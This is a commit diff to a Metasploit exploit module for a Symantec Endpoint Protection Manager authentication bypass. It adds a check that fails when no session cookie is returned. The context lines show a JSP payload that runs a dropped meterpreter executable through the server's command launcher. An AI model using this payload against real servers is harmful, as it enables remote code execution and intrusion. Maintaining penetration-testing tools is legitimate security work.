check if cookie is actually returned, and if not, fail

modules/exploits/windows/http/sepm_auth_bypass_rce.rb

@@ -79,6 +79,10 @@ class Metasploit3 < Msf::Exploit::Remote
 
     cookie = res.get_cookies
 
+    if not cookie || cookie == ''
+      fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.')
+    end
+
     exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%>
 <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %>
     }